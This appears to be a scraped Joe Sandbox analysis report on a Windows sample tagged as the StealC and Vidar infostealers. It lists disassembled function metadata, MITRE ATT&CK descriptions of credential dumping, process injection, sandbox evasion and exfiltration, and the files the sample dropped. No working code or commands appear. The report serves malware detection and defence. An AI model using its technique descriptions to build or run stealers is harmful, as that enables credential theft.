String ID: ,bl
API String ID: 17069307-4033880889
Opcode ID: 96bcab5be6b60f8f8268449ea379e9e858461bd518bc4d5ba76e2c8c6641344c
Instruction ID: c587f609c1da52f53258d3f17e377b0dcfd55333d9ce8ae54d14a3b2ce5bb89a
Opcode Fuzzy Hash: 96bcab5be6b60f8f8268449ea379e9e858461bd518bc4d5ba76e2c8c6641344c
Instruction Fuzzy Hash: 6CE0DF32916A29D7C7019FA7985158ABFB8EE83AA17044515F80A3BE00CB3CA4408ECF

Function 6C5BBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5BBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5BBEF5

Strings

cryptbase.dll, xrefs: 6C5BBEF0

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction ID: 5a8e827c48539296f82e644b6e10bc4caaacba438bdb67aedd30e8c440003529
Opcode Fuzzy Hash: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction Fuzzy Hash: 99D0C731184208EAD740BA518D56B253B74E741755F10C421F79654961C7F5A451CF58

Function 6C5FB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB628

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C5FB127,?,?,?,?,?,?,?,?), ref: 6C5FB74D

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction ID: b712c67391636e8cc1ced318c4a05d7d813e26569a77d797f07b665b612d7291
Opcode Fuzzy Hash: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction Fuzzy Hash: 6651BF71A06216CBDB18EF18CD8065EB7B5FF85304F55852DC86AAB700E731A806CFA1

Function 6C5FDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5EFF2A), ref: 6C5FDFFD

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5EFF2A), ref: 6C5FE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5EFF2A), ref: 6C5FE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C5EFF2A), ref: 6C5FE0FE

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5cfdbe5f39ab9eeb31584171caf191b848b15f7f46d225642a5cefa08b4b7434
Instruction ID: 53dfd28938f0a45e317777257ab16be6561e4e64da06be9331d203c65a2feaab
Opcode Fuzzy Hash: 5cfdbe5f39ab9eeb31584171caf191b848b15f7f46d225642a5cefa08b4b7434
Instruction Fuzzy Hash: F841B3B16046168FEB18CF68DC8075A77BAEB45308F244939D526DB740E7B2E906CFD2

Function 6C5F6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C5F6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C5F6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5F6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F6F5C

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction ID: fe99e3e7cc7026cdc591976d874872a8b6039d257af178db3d3df5153889b693
Opcode Fuzzy Hash: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction Fuzzy Hash: FA31C571A1060A8FEB08CF2CCD806AA73E9EB85344F504639D52AC7655EF31E65ACB91

Function 6C60B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5B0A4D), ref: 6C60B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5B0A4D), ref: 6C60B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5B0A4D), ref: 6C60B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5B0A4D), ref: 6C60B67F

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction ID: c005816eac53de3db2f64862330d05e188912859335dcd8631030355d99441d6
Opcode Fuzzy Hash: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction Fuzzy Hash: 4931D471A112168FEB14CF59C98465AFBB9FFC1304F16C569C806AB201DB31E915CBE5

Function 6C5DF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF668

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: f3efbb9df7ab69244732f3331dbab488b233a8e45ecd5aa99811ab534ae9bba5
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 35314F71A00314AFC714CF5DDCC0A9F77B5EB85358B188A39FA4A8BB05D632F9448B98

Function 6C5F26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F26C1
free.MOZGLUE(?), ref: 6C5F26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F26FF
free.MOZGLUE ref: 6C5F270D

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 155de90e8657adb84e35884fc56bae3f43477ba44312ac8d09c4cc45bfbd8ceb
Instruction ID: 836eab60d468a3676c8e9ebce83fa91ae8bd3a814d68d1400a0f09585e9a4d07
Opcode Fuzzy Hash: 155de90e8657adb84e35884fc56bae3f43477ba44312ac8d09c4cc45bfbd8ceb
Instruction Fuzzy Hash: D4F0F9F27012406BFB049A59DCC494BB3ADEF81258B500035EA2AC3B01E732F91ACAD7

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGIJEGCGDGHDHIDHDGCB

C:\ProgramData\GCGHJEBG

C:\ProgramData\GIDBKKKKKFBGDGDHIDBGHIEBGD

C:\ProgramData\HDBGDHDAECBGDHJKFIDG

C:\ProgramData\IDHDGIEHJJJJEBGDAFHJEBGDGI

C:\ProgramData\IJDHCBGH

C:\ProgramData\JDGCFBAFBFHJEBGCAEGH

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre